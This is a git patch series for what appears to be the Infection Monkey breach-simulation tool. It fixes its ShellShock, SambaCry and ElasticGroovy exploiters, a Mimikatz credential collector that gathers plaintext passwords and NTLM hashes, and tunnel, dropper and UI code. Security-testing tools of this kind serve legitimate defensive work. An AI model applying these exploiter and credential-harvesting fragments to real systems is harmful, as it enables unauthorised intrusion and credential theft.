From 174c74cbcb4761ebd1a217187b8d10b2b187b6b4 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Thu, 28 Sep 2017 14:43:08 +0300 Subject: [PATCH 01/18] Temporarily disable shellshock reporting its vulnerable pages --- chaos_monkey/exploit/shellshock.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/chaos_monkey/exploit/shellshock.py b/chaos_monkey/exploit/shellshock.py index 69df6abb3..80246c1d4 100644 --- a/chaos_monkey/exploit/shellshock.py +++ b/chaos_monkey/exploit/shellshock.py @@ -64,7 +64,8 @@ class ShellShockExploiter(HostExploiter): # we want to report all vulnerable URLs even if we didn't succeed # let's overload this - [self.report_vuln_shellshock(host, url) for url in exploitable_urls] + # TODO: uncomment when server is ready for it + # [self.report_vuln_shellshock(host, url) for url in exploitable_urls] # now try URLs until we install something on victim for _, url, header, exploit in exploitable_urls: From 3c345679b343a5d4d73824020bb07a1f599187f6 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Thu, 28 Sep 2017 14:44:18 +0300 Subject: [PATCH 02/18] Change skip exploit if monkey exist to false --- chaos_monkey/config.py | 2 +- chaos_monkey/example.conf | 2 +- monkey_island/cc/services/config.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/chaos_monkey/config.py b/chaos_monkey/config.py index 5fee384ee..aa6cb0582 100644 --- a/chaos_monkey/config.py +++ b/chaos_monkey/config.py @@ -213,7 +213,7 @@ class Configuration(object): # exploiters config ########################### - skip_exploit_if_file_exist = True + skip_exploit_if_file_exist = False ms08_067_exploit_attempts = 5 ms08_067_remote_user_add = "Monkey_IUSER_SUPPORT" diff --git a/chaos_monkey/example.conf b/chaos_monkey/example.conf index 35e1badd0..f9fe7e414 100644 --- a/chaos_monkey/example.conf +++ b/chaos_monkey/example.conf @@ -62,7 +62,7 @@ "self_delete_in_cleanup": true, "serialize_config": false, "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}", - "skip_exploit_if_file_exist": true, + "skip_exploit_if_file_exist": false, "exploit_user_list": [], "exploit_password_list": [], "sambacry_trigger_timeout": 5, diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 86184f31c..11733ad6a 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -480,7 +480,7 @@ SCHEMA = { "skip_exploit_if_file_exist": { "title": "Skip exploit if file exists", "type": "boolean", - "default": True, + "default": False, "description": "Determines whether the monkey should skip the exploit if the monkey's file is already on the remote machine" } } From 7365f7d6a7b8b7595128f2479cf7677e0a98066a Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Thu, 28 Sep 2017 16:13:47 +0300 Subject: [PATCH 03/18] Fix in sambacry Sambacry tries to exploit when can't recognize version --- chaos_monkey/exploit/sambacry.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/chaos_monkey/exploit/sambacry.py b/chaos_monkey/exploit/sambacry.py index 22b3a3f2b..83b626f19 100644 --- a/chaos_monkey/exploit/sambacry.py +++ b/chaos_monkey/exploit/sambacry.py @@ -37,7 +37,6 @@ class SambaCryExploiter(HostExploiter): def __init__(self): self._config = __import__('config').WormConfiguration - def exploit_host(self, host, depth=-1, src_path=None): if not self.is_vulnerable(host): return False @@ -203,6 +202,9 @@ class SambaCryExploiter(HostExploiter): is_vulnerable = True elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "6") and (samba_version_parts[1] <= "3"): is_vulnerable = True + else: + # If pattern doesn't match we can't tell what version it is. Better try + is_vulnerable = True LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s" % (host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable))) @@ -300,7 +302,7 @@ class SambaCryExploiter(HostExploiter): try: # the extra / on the beginning is required for the vulnerability self.open_pipe(smb_client, "/" + module_path) - except (impacket.smbconnection.SessionError, SessionError) as e: + except Exception as e: # This is the expected result. We can't tell whether we succeeded or not just by this error code. if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0: return True From 6233fec0f762482d03b03f831074d05f46e910b5 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Thu, 28 Sep 2017 16:14:30 +0300 Subject: [PATCH 04/18] If exception thrown from exploit, we now send telemetry about trying --- chaos_monkey/monkey.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/chaos_monkey/monkey.py b/chaos_monkey/monkey.py index 99298ebfd..daabad0ee 100644 --- a/chaos_monkey/monkey.py +++ b/chaos_monkey/monkey.py @@ -171,9 +171,11 @@ class ChaosMonkey(object): ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__, 'exploiter': exploiter.__class__.__name__}) - except Exception, exc: + except Exception as exc: LOG.error("Exception while attacking %s using %s: %s", machine, exploiter.__class__.__name__, exc) + ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__, + 'exploiter': exploiter.__class__.__name__}) continue if successful_exploiter: From 2d83657bd9d064aa1438427edbad1e70ba326f08 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Thu, 28 Sep 2017 17:56:34 +0300 Subject: [PATCH 05/18] Fix missing WindowsError on linux --- chaos_monkey/dropper.py | 12 +++++++++--- chaos_monkey/system_info/__init__.py | 6 ++++++ 2 files changed, 15 insertions(+), 3 deletions(-) diff --git a/chaos_monkey/dropper.py b/chaos_monkey/dropper.py index adbca1821..c0b995ae8 100644 --- a/chaos_monkey/dropper.py +++ b/chaos_monkey/dropper.py @@ -19,6 +19,12 @@ if "win32" == sys.platform: else: DETACHED_PROCESS = 0 +# Linux doesn't have WindowsError +try: + WindowsError +except NameError: + WindowsError = None + __author__ = 'itamar' LOG = logging.getLogger(__name__) @@ -62,7 +68,7 @@ class MonkeyDrops(object): self._config['source_path'], self._config['destination_path']) file_moved = True - except (WindowsError, IOError, OSError), exc: + except (WindowsError, IOError, OSError) as exc: LOG.debug("Error moving source file '%s' into '%s': %s", self._config['source_path'], self._config['destination_path'], exc) @@ -75,7 +81,7 @@ class MonkeyDrops(object): LOG.info("Copied source file '%s' into '%s'", self._config['source_path'], self._config['destination_path']) - except (WindowsError, IOError, OSError), exc: + except (WindowsError, IOError, OSError) as exc: LOG.error("Error copying source file '%s' into '%s': %s", self._config['source_path'], self._config['destination_path'], exc) @@ -131,7 +137,7 @@ class MonkeyDrops(object): # try removing the file first try: os.remove(self._config['source_path']) - except Exception, exc: + except Exception as exc: LOG.debug("Error removing source file '%s': %s", self._config['source_path'], exc) # mark the file for removal on next boot diff --git a/chaos_monkey/system_info/__init__.py b/chaos_monkey/system_info/__init__.py index ddf13d885..0a5bf8e31 100644 --- a/chaos_monkey/system_info/__init__.py +++ b/chaos_monkey/system_info/__init__.py @@ -6,6 +6,12 @@ from enum import IntEnum from network.info import get_host_subnets +# Linux doesn't have WindowsError +try: + WindowsError +except NameError: + WindowsError = None + __author__ = 'uri' From b910baf1d050fcc69f4e50adb2783fd33567635c Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Sun, 1 Oct 2017 11:35:17 +0300 Subject: [PATCH 06/18] Stupid, stupid casting bug. --- chaos_monkey/exploit/elasticgroovy.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/chaos_monkey/exploit/elasticgroovy.py b/chaos_monkey/exploit/elasticgroovy.py index ed110e999..5dce8208e 100644 --- a/chaos_monkey/exploit/elasticgroovy.py +++ b/chaos_monkey/exploit/elasticgroovy.py @@ -53,6 +53,9 @@ class ElasticGroovyExploiter(HostExploiter): LOG.info("Host: %s doesn't have ES open" % host.ip_addr) return False major, minor, build = host.services[ES_SERVICE]['version'].split('.') + major = int(major) + minor = int(minor) + build = int(build) if major > 1: return False if major == 1 and minor > 4: From 27d9e8bcee432e9f3151b848b433c44beef06f62 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Sun, 1 Oct 2017 16:34:11 +0300 Subject: [PATCH 07/18] Fix bug in processing tunnel edges --- monkey_island/cc/resources/monkey.py | 14 ++++++-------- monkey_island/cc/resources/telemetry.py | 5 ++--- monkey_island/cc/services/edge.py | 3 ++- monkey_island/cc/services/node.py | 5 +++-- 4 files changed, 13 insertions(+), 14 deletions(-) diff --git a/monkey_island/cc/resources/monkey.py b/monkey_island/cc/resources/monkey.py index d6d89e2c8..2e2da8a5d 100644 --- a/monkey_island/cc/resources/monkey.py +++ b/monkey_island/cc/resources/monkey.py @@ -46,9 +46,8 @@ class Monkey(flask_restful.Resource): update['$set']['config_error'] = monkey_json['config_error'] if 'tunnel' in monkey_json: - host = monkey_json['tunnel'].split(":")[-2].replace("//", "") - tunnel_host_id = NodeService.get_monkey_by_ip(host)["_id"] - NodeService.set_monkey_tunnel(monkey["_id"], tunnel_host_id) + tunnel_host_ip = monkey_json['tunnel'].split(":")[-2].replace("//", "") + NodeService.set_monkey_tunnel(monkey["_id"], tunnel_host_ip) return mongo.db.monkey.update({"_id": monkey["_id"]}, update, upsert=False) @@ -98,10 +97,9 @@ class Monkey(flask_restful.Resource): else: monkey_json['parent'] = db_monkey.get('parent') + [parent_to_add] - tunnel_host_id = None + tunnel_host_ip = None if 'tunnel' in monkey_json: - host = monkey_json['tunnel'].split(":")[-2].replace("//", "") - tunnel_host_id = NodeService.get_monkey_by_ip(host)["_id"] + tunnel_host_ip = monkey_json['tunnel'].split(":")[-2].replace("//", "") monkey_json.pop('tunnel') mongo.db.monkey.update({"guid": monkey_json["guid"]}, @@ -112,8 +110,8 @@ class Monkey(flask_restful.Resource): new_monkey_id = mongo.db.monkey.find_one({"guid": monkey_json["guid"]})["_id"] - if tunnel_host_id is not None: - NodeService.set_monkey_tunnel(new_monkey_id, tunnel_host_id) + if tunnel_host_ip is not None: + NodeService.set_monkey_tunnel(new_monkey_id, tunnel_host_ip) existing_node = mongo.db.node.find_one({"ip_addresses": {"$in": monkey_json["ip_addresses"]}}) diff --git a/monkey_island/cc/resources/telemetry.py b/monkey_island/cc/resources/telemetry.py index 0fea9b4d5..25f45212d 100644 --- a/monkey_island/cc/resources/telemetry.py +++ b/monkey_island/cc/resources/telemetry.py @@ -89,9 +89,8 @@ class Telemetry(flask_restful.Resource): def process_tunnel_telemetry(self, telemetry_json): monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])["_id"] if telemetry_json['data']['proxy'] is not None: - host = telemetry_json['data']['proxy'].split(":")[-2].replace("//", "") - tunnel_host_id = NodeService.get_monkey_by_ip(host)["_id"] - NodeService.set_monkey_tunnel(monkey_id, tunnel_host_id) + tunnel_host_ip = telemetry_json['data']['proxy'].split(":")[-2].replace("//", "") + NodeService.set_monkey_tunnel(monkey_id, tunnel_host_ip) else: NodeService.unset_all_monkey_tunnels(monkey_id) diff --git a/monkey_island/cc/services/edge.py b/monkey_island/cc/services/edge.py index 276fe488f..96d676c0e 100644 --- a/monkey_island/cc/services/edge.py +++ b/monkey_island/cc/services/edge.py @@ -22,7 +22,7 @@ class EdgeService: @staticmethod def edge_to_displayed_edge(edge): - services = {} + services = [] os = {} exploits = [] if len(edge["scans"]) > 0: @@ -52,6 +52,7 @@ class EdgeService: exploit_container["end_timestamp"] = new_exploit["timestamp"] displayed_edge = EdgeService.edge_to_net_edge(edge) + displayed_edge["ip_address"] = edge["ip_address"] displayed_edge["services"] = services displayed_edge["os"] = os diff --git a/monkey_island/cc/services/node.py b/monkey_island/cc/services/node.py index 85b05bdcb..f5dbcf37c 100644 --- a/monkey_island/cc/services/node.py +++ b/monkey_island/cc/services/node.py @@ -148,7 +148,8 @@ class NodeService: upsert=False) @staticmethod - def set_monkey_tunnel(monkey_id, tunnel_host_id): + def set_monkey_tunnel(monkey_id, tunnel_host_ip): + tunnel_host_id = NodeService.get_monkey_by_ip(tunnel_host_ip)["_id"] NodeService.unset_all_monkey_tunnels(monkey_id) mongo.db.monkey.update( {"_id": monkey_id}, @@ -156,7 +157,7 @@ class NodeService: upsert=False) tunnel_edge = EdgeService.get_or_create_edge(monkey_id, tunnel_host_id) mongo.db.edge.update({"_id": tunnel_edge["_id"]}, - {'$set': {'tunnel': True}}, + {'$set': {'tunnel': True, 'ip_address': tunnel_host_ip}}, upsert=False) @staticmethod From 48be73bc3f53f5529e28bb6d933e1cfb155ba890 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Sun, 1 Oct 2017 18:36:23 +0300 Subject: [PATCH 08/18] Fix edge width and tunnel edge color --- monkey_island/cc/ui/src/components/pages/MapPage.js | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey_island/cc/ui/src/components/pages/MapPage.js b/monkey_island/cc/ui/src/components/pages/MapPage.js index 2b0336814..ef40c3ddc 100644 --- a/monkey_island/cc/ui/src/components/pages/MapPage.js +++ b/monkey_island/cc/ui/src/components/pages/MapPage.js @@ -28,6 +28,7 @@ let options = { improvedLayout: false }, edges: { + width: 2, smooth: { type: 'curvedCW' } @@ -61,7 +62,7 @@ class MapPageComponent extends React.Component { case 'exploited': return '#c00'; case 'tunnel': - return '#aaa'; + return '#0058aa'; case 'scan': return '#f90'; case 'island': From afcd066fff5e2998fe9b5c51ed68cc5477634bc6 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Mon, 2 Oct 2017 11:25:53 +0300 Subject: [PATCH 09/18] Fix mimikatz bug where plain passwords weren't collected when they could have --- .../system_info/mimikatz_collector.py | 33 ++++++++++++------- 1 file changed, 21 insertions(+), 12 deletions(-) diff --git a/chaos_monkey/system_info/mimikatz_collector.py b/chaos_monkey/system_info/mimikatz_collector.py index d7122d57a..c63b875f8 100644 --- a/chaos_monkey/system_info/mimikatz_collector.py +++ b/chaos_monkey/system_info/mimikatz_collector.py @@ -1,14 +1,13 @@ import ctypes import binascii import logging +import socket __author__ = 'itay.mizeretz' LOG = logging.getLogger(__name__) - - class MimikatzCollector: """ Password collection module for Windows using Mimikatz. @@ -24,7 +23,7 @@ class MimikatzCollector: self._collect = collect_proto(("collect", self._dll)) self._get = get_proto(("get", self._dll)) self._isInit = True - except StandardError as ex: + except StandardError: LOG.exception("Error initializing mimikatz collector") def get_logon_info(self): @@ -40,18 +39,28 @@ class MimikatzCollector: entry_count = self._collect() logon_data_dictionary = {} + hostname = socket.gethostname() for i in range(entry_count): entry = self._get() - username = str(entry.username) - password = str(entry.password) + username = entry.username.encode('utf-8').strip() + + password = entry.password.encode('utf-8').strip() lm_hash = binascii.hexlify(bytearray(entry.lm_hash)) ntlm_hash = binascii.hexlify(bytearray(entry.ntlm_hash)) - has_password = (0 != len(password)) + + if 0 == len(password): + has_password = False + elif (username[-1] == '$') and (hostname.lower() == username[0:-1]): + # Don't save the password of the host domain user (HOSTNAME$) + has_password = False + else: + has_password = True + has_lm = ("00000000000000000000000000000000" != lm_hash) has_ntlm = ("00000000000000000000000000000000" != ntlm_hash) - if not logon_data_dictionary.has_key(username): + if username not in logon_data_dictionary: logon_data_dictionary[username] = {} if has_password: logon_data_dictionary[username]["password"] = password @@ -61,7 +70,7 @@ class MimikatzCollector: logon_data_dictionary[username]["ntlm_hash"] = ntlm_hash return logon_data_dictionary - except StandardError as ex: + except StandardError: LOG.exception("Error getting logon info") return {} @@ -75,8 +84,8 @@ class MimikatzCollector: _fields_ = \ [ - ("username", ctypes.c_wchar * WINDOWS_MAX_USERNAME_PASS_LENGTH), - ("password", ctypes.c_wchar * WINDOWS_MAX_USERNAME_PASS_LENGTH), - ("lm_hash", ctypes.c_byte * LM_NTLM_HASH_LENGTH), - ("ntlm_hash", ctypes.c_byte * LM_NTLM_HASH_LENGTH) + ("username", ctypes.c_wchar * WINDOWS_MAX_USERNAME_PASS_LENGTH), + ("password", ctypes.c_wchar * WINDOWS_MAX_USERNAME_PASS_LENGTH), + ("lm_hash", ctypes.c_byte * LM_NTLM_HASH_LENGTH), + ("ntlm_hash", ctypes.c_byte * LM_NTLM_HASH_LENGTH) ] From fd85bfb0442583c731a2ed02dee1d14461132ec1 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Mon, 2 Oct 2017 11:43:23 +0300 Subject: [PATCH 10/18] Add map legend --- .../cc/ui/src/components/pages/MapPage.js | 5 +++++ monkey_island/cc/ui/src/images/map-legend.png | Bin 0 -> 2598 bytes 2 files changed, 5 insertions(+) create mode 100644 monkey_island/cc/ui/src/images/map-legend.png diff --git a/monkey_island/cc/ui/src/components/pages/MapPage.js b/monkey_island/cc/ui/src/components/pages/MapPage.js index ef40c3ddc..65c407102 100644 --- a/monkey_island/cc/ui/src/components/pages/MapPage.js +++ b/monkey_island/cc/ui/src/components/pages/MapPage.js @@ -10,6 +10,8 @@ let groupNames = ['clean_linux', 'clean_windows', 'exploited_linux', 'exploited_ 'manual_linux', 'manual_linux_running', 'manual_windows', 'manual_windows_running', 'monkey_linux', 'monkey_linux_running', 'monkey_windows', 'monkey_windows_running']; +let legend = require('../../images/map-legend.png'); + let getGroupsOptions = () => { let groupOptions = {}; for (let groupName of groupNames) { @@ -130,6 +132,9 @@ class MapPageComponent extends React.Component {

Infection Map

+ + + diff --git a/monkey_island/cc/ui/src/images/map-legend.png b/monkey_island/cc/ui/src/images/map-legend.png new file mode 100644 index 0000000000000000000000000000000000000000..4b7759a099c51ad75d0455eaaab0ad117773ece9 GIT binary patch literal 2598 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 IM6N<$f`!@en*aa+ literal 0 HcmV?d00001 From a04f34bb41a546d02548cd31300adc0f5f51bf84 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Mon, 2 Oct 2017 11:59:48 +0300 Subject: [PATCH 11/18] Commented out Useless button --- .../ui/src/components/pages/RunMonkeyPage.js | 19 ++++++++++++------- 1 file changed, 12 insertions(+), 7 deletions(-) diff --git a/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js b/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js index 3c20a1d77..d84fe6c1f 100644 --- a/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js +++ b/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js @@ -134,13 +134,18 @@ class RunMonkeyPageComponent extends React.Component { Run on C&C Server { this.renderIconByState(this.state.runningOnIslandState) } - - Download and run locally - { this.renderIconByState(this.state.runningOnClientState) } - + { + // TODO: implement button functionality + /* + + */ + }

From 8ddac92429f1dfe318e1eadd1c68c2adf5675be2 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Mon, 2 Oct 2017 12:14:31 +0300 Subject: [PATCH 12/18] Fix mimikatz lowercase hostname comparison --- chaos_monkey/system_info/mimikatz_collector.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/chaos_monkey/system_info/mimikatz_collector.py b/chaos_monkey/system_info/mimikatz_collector.py index c63b875f8..53f42ad4c 100644 --- a/chaos_monkey/system_info/mimikatz_collector.py +++ b/chaos_monkey/system_info/mimikatz_collector.py @@ -51,7 +51,7 @@ class MimikatzCollector: if 0 == len(password): has_password = False - elif (username[-1] == '$') and (hostname.lower() == username[0:-1]): + elif (username[-1] == '$') and (hostname.lower() == username[0:-1].lower()): # Don't save the password of the host domain user (HOSTNAME$) has_password = False else: From b77aa5d10c2d17d6a01b96bf2c1fd32f39b2ed84 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Sun, 1 Oct 2017 17:58:34 +0300 Subject: [PATCH 13/18] PEP8 + new exception format. --- chaos_monkey/tunnel.py | 33 +++++++++++++++++---------------- 1 file changed, 17 insertions(+), 16 deletions(-) diff --git a/chaos_monkey/tunnel.py b/chaos_monkey/tunnel.py index f6f258a84..7f7edec03 100644 --- a/chaos_monkey/tunnel.py +++ b/chaos_monkey/tunnel.py @@ -1,14 +1,15 @@ +import logging import socket import struct -import logging -from threading import Thread -from network.info import local_ips, get_free_tcp_port -from network.firewall import app as firewall -from transport.base import get_last_serve_time -from difflib import get_close_matches -from network.tools import check_port_tcp -from model import VictimHost import time +from difflib import get_close_matches +from threading import Thread + +from model import VictimHost +from network.firewall import app as firewall +from network.info import local_ips, get_free_tcp_port +from network.tools import check_port_tcp +from transport.base import get_last_serve_time __author__ = 'hoffer' @@ -48,7 +49,7 @@ def _check_tunnel(address, port, existing_sock=None): try: sock.sendto("+", (address, MCAST_PORT)) - except Exception, exc: + except Exception as exc: LOG.debug("Caught exception in tunnel registration: %s", exc) if not existing_sock: @@ -91,7 +92,7 @@ def find_tunnel(default=None, attempts=3, timeout=DEFAULT_TIMEOUT): sock.close() return address, port - except Exception, exc: + except Exception as exc: LOG.debug("Caught exception in tunnel lookup: %s", exc) continue @@ -103,8 +104,8 @@ def quit_tunnel(address, timeout=DEFAULT_TIMEOUT): sock = _set_multicast_socket(timeout) sock.sendto("-", (address, MCAST_PORT)) sock.close() - LOG.debug("Success quitting tunnel") - except Exception, exc: + LOG.debug("Success quitting tunnel") + except Exception as exc: LOG.debug("Exception quitting tunnel: %s", exc) return @@ -157,9 +158,9 @@ class MonkeyTunnel(Thread): LOG.debug("Tunnel control: Added %s to watchlist", address[0]) self._clients.append(address[0]) elif '-' == search: - LOG.debug("Tunnel control: Removed %s from watchlist", address[0]) - self._clients = [client for client in self._clients if client != address[0]] - + LOG.debug("Tunnel control: Removed %s from watchlist", address[0]) + self._clients = [client for client in self._clients if client != address[0]] + except socket.timeout: continue @@ -190,4 +191,4 @@ class MonkeyTunnel(Thread): host.default_tunnel = '%s:%d' % (ip_match[0], self.local_port) def stop(self): - self._stopped = True \ No newline at end of file + self._stopped = True From b668a0d0f3993100cd4011cd86dd9f230e6be7a8 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Sun, 1 Oct 2017 17:59:17 +0300 Subject: [PATCH 14/18] PEP8 + Python exceptions --- chaos_monkey/system_singleton.py | 18 +++++++++++------- 1 file changed, 11 insertions(+), 7 deletions(-) diff --git a/chaos_monkey/system_singleton.py b/chaos_monkey/system_singleton.py index e4facd88a..970905a9c 100644 --- a/chaos_monkey/system_singleton.py +++ b/chaos_monkey/system_singleton.py @@ -1,7 +1,8 @@ -import sys import ctypes import logging +import sys from abc import ABCMeta, abstractmethod + from config import WormConfiguration __author__ = 'itamar' @@ -28,7 +29,7 @@ class _SystemSingleton(object): class WindowsSystemSingleton(_SystemSingleton): def __init__(self): - self._mutex_name = r"Global\%s" % (WormConfiguration.singleton_mutex_name, ) + self._mutex_name = r"Global\%s" % (WormConfiguration.singleton_mutex_name,) self._mutex_handle = None @property @@ -53,7 +54,7 @@ class WindowsSystemSingleton(_SystemSingleton): self._mutex_name) return False - + self._mutex_handle = handle LOG.debug("Global singleton mutex %r acquired", @@ -79,16 +80,16 @@ class LinuxSystemSingleton(_SystemSingleton): def try_lock(self): assert self._sock_handle is None, "Singleton already locked" - + sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) - + try: sock.bind('\0' + self._unix_sock_name) - except socket.error, e: + except socket.error as e: LOG.error("Cannot acquire system singleton %r, error code %d, error: %s", self._unix_sock_name, e.args[0], e.args[1]) return False - + self._sock_handle = sock LOG.debug("Global singleton mutex %r acquired", self._unix_sock_name) @@ -100,9 +101,12 @@ class LinuxSystemSingleton(_SystemSingleton): self._sock_handle.close() self._sock_handle = None + if sys.platform == "win32": import winerror + SystemSingleton = WindowsSystemSingleton else: import socket + SystemSingleton = LinuxSystemSingleton From a2b1b78f0b01782f972d118930b39f96646a5295 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Sun, 1 Oct 2017 18:03:33 +0300 Subject: [PATCH 15/18] PEP8 + Python exception --- chaos_monkey/dropper.py | 26 +++++++++++++------------- 1 file changed, 13 insertions(+), 13 deletions(-) diff --git a/chaos_monkey/dropper.py b/chaos_monkey/dropper.py index c0b995ae8..3e0a8bff5 100644 --- a/chaos_monkey/dropper.py +++ b/chaos_monkey/dropper.py @@ -1,17 +1,17 @@ +import argparse +import ctypes +import logging import os +import pprint +import shutil +import subprocess import sys import time -import ctypes -import shutil -import pprint -import logging -import subprocess -import argparse from ctypes import c_char_p +from config import WormConfiguration from exploit.tools import build_monkey_commandline_explicitly from model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX -from config import WormConfiguration from system_info import SystemInfoCollector, OperatingSystem if "win32" == sys.platform: @@ -65,7 +65,7 @@ class MonkeyDrops(object): self._config['destination_path']) LOG.info("Moved source file '%s' into '%s'", - self._config['source_path'], self._config['destination_path']) + self._config['source_path'], self._config['destination_path']) file_moved = True except (WindowsError, IOError, OSError) as exc: @@ -80,7 +80,7 @@ class MonkeyDrops(object): self._config['destination_path']) LOG.info("Copied source file '%s' into '%s'", - self._config['source_path'], self._config['destination_path']) + self._config['source_path'], self._config['destination_path']) except (WindowsError, IOError, OSError) as exc: LOG.error("Error copying source file '%s' into '%s': %s", self._config['source_path'], self._config['destination_path'], @@ -95,7 +95,7 @@ class MonkeyDrops(object): dropper_date_reference_path = WormConfiguration.dropper_date_reference_path_linux try: ref_stat = os.stat(dropper_date_reference_path) - except: + except OSError as exc: LOG.warn("Cannot set reference date using '%s', file not found", dropper_date_reference_path) else: @@ -142,10 +142,10 